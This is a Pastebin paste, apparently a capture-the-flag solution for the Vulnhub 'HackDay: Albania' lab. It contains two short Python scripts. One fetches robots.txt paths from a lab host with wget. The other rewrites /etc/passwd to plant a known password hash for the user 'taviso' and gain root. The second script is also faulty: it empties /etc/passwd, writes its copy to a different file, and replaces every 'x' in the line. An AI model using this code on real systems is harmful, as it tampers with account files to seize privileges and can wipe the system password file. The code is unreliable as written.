SHARE
TWEET

Bitartean Vulnhub: "HackDay: Albania"

a guest Nov 21st, 2016 51 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # lortu_url.py
  2. import os
  3.  
  4. file = open("robots.txt","r")
  5.  
  6. dena = file.read()
  7.  
  8. for lerroa in dena.split("\n"):
  9.     kodea = lerroa.split(" ")[1]
  10.     os.system("wget http://192.168.10.102:8008"+kodea)
  11.  
  12. print "Bukatu da!"
  13.  
  14. # aldatu_hash.py
  15.  
  16. HASH = "$6$salt$kssqS1VSfI.jaw.DRZOtHWGECgqQghpeKdgVj14OK.MxoeqIs0ye.YDACsHlJIZw2RVQxa1F1hAHWGhDs.cms."
  17.  
  18. file = open("/etc/passwd", 'r+')
  19. dena = file.read()
  20. file.truncate(0)
  21. file.close()
  22.  
  23. file = open("passwd", 'a')
  24.  
  25. for i, lerroa in enumerate(dena.split("\n")):
  26.     if "taviso" in lerroa:
  27.         lerroberri = lerroa.replace("x", HASH)
  28.         file.write(lerroberri+"\n")
  29.     else:
  30.         file.write(lerroa+"\n")
  31.  
  32. file.close()
RAW Paste Data
Top